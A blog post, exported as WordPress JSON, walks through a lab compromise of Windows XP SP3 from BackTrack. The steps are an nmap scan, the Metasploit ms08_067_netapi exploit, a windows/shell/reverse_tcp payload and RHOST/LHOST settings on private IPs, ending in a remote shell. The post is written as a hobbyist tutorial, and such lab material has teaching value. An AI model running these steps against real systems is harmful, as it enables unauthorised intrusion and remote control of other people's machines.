{"id":93,"date":"2011-03-11T15:15:05","date_gmt":"2011-03-11T15:15:05","guid":{"rendered":"http:\/\/www.haxrbyte.org\/?p=93"},"modified":"2013-07-05T08:47:52","modified_gmt":"2013-07-05T08:47:52","slug":"easy_hack-winxp-sp3-with-metasploit","status":"publish","type":"post","link":"https:\/\/haxrbyte.org\/?p=93","title":{"rendered":"easy_hack winxp sp3 with metasploit"},"content":{"rendered":"<p>Windows XP Service Pack 3 can easily be hacked with Metasploit Framework3.<\/p>\n<p>I&#8217;m using Backtrack4-R1 as the &#8220;attacker&#8221; with IP address 192.168.1.10 and Windows XP Service Pack 3 as the &#8220;victim&#8221; with IP address 192.168.1.11.<\/p>\n<p>Boot Backtrack &#8211;<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/boot_backtrack.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-178\" alt=\"boot_backtrack\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/boot_backtrack-300x40.jpg\" width=\"300\" height=\"40\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/boot_backtrack-300x40.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/boot_backtrack.jpg 895w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Login with username &#8220;root&#8221; and password &#8220;toor&#8221;.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/logged_in.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-182\" alt=\"logged_in\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/logged_in-300x73.jpg\" width=\"300\" height=\"73\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/logged_in-300x73.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/logged_in.jpg 884w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Assign the IP address.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/assign_ip.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-177\" alt=\"assign_ip\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/assign_ip-300x24.jpg\" width=\"300\" height=\"24\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/assign_ip-300x24.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/assign_ip.jpg 884w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Do a nmap scan with OS fingerprinting.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/nmap_scan.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-183\" alt=\"nmap_scan\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/nmap_scan-300x115.jpg\" width=\"300\" height=\"115\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/nmap_scan-300x115.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/nmap_scan.jpg 877w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Start metasploit.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/start_metasploit.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-187\" alt=\"start_metasploit\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/start_metasploit-300x139.jpg\" width=\"300\" height=\"139\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/start_metasploit-300x139.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/start_metasploit.jpg 873w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Use the exploit windows\/smb\/ms08_067_netapi<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/exploit.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-180\" alt=\"exploit\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/exploit-300x20.jpg\" width=\"300\" height=\"20\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/exploit-300x20.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/exploit.jpg 872w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Set the payload windows\/shell\/reverse_tcp<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/payload.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-185\" alt=\"payload\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/payload-300x25.jpg\" width=\"300\" height=\"25\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/payload-300x25.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/payload.jpg 872w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Show the options.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/options.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-184\" alt=\"options\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/options-300x164.jpg\" width=\"300\" height=\"164\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/options-300x164.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/options.jpg 873w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>set RHOST=192.168.1.11<\/p>\n<p>set LHOST=192.168.1.10<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/set_ips.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-186\" alt=\"set_ips\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/set_ips-300x36.jpg\" width=\"300\" height=\"36\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/set_ips-300x36.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/set_ips.jpg 872w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>then run &#8220;exploit&#8221;<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/hacked.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-181\" alt=\"hacked\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/hacked-300x90.jpg\" width=\"300\" height=\"90\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/hacked-300x90.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/hacked.jpg 870w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>we are in!!!<\/p>\n<p>run a command to confirm.<\/p>\n<p><a href=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/confirmed.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-179\" alt=\"confirmed\" src=\"http:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/confirmed-300x158.jpg\" width=\"300\" height=\"158\" srcset=\"https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/confirmed-300x158.jpg 300w, https:\/\/haxrbyte.org\/wp-content\/uploads\/2011\/03\/confirmed.jpg 870w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>!!!HACKED!!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Windows XP Service Pack 3 can easily be hacked with Metasploit Framework3. I&#8217;m using Backtrack4-R1 as the &#8220;attacker&#8221; with IP address 192.168.1.10 and Windows XP Service Pack 3 as the &#8220;victim&#8221; with IP address 192.168.1.11. Boot Backtrack &#8211; Login with username &#8220;root&#8221; and password &#8220;toor&#8221;. Assign the IP address. Do a nmap scan with OS [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[],"_links":{"self":[{"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/posts\/93"}],"collection":[{"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=93"}],"version-history":[{"count":2,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":188,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=\/wp\/v2\/posts\/93\/revisions\/188"}],"wp:attachment":[{"href":"https:\/\/haxrbyte.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/haxrbyte.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}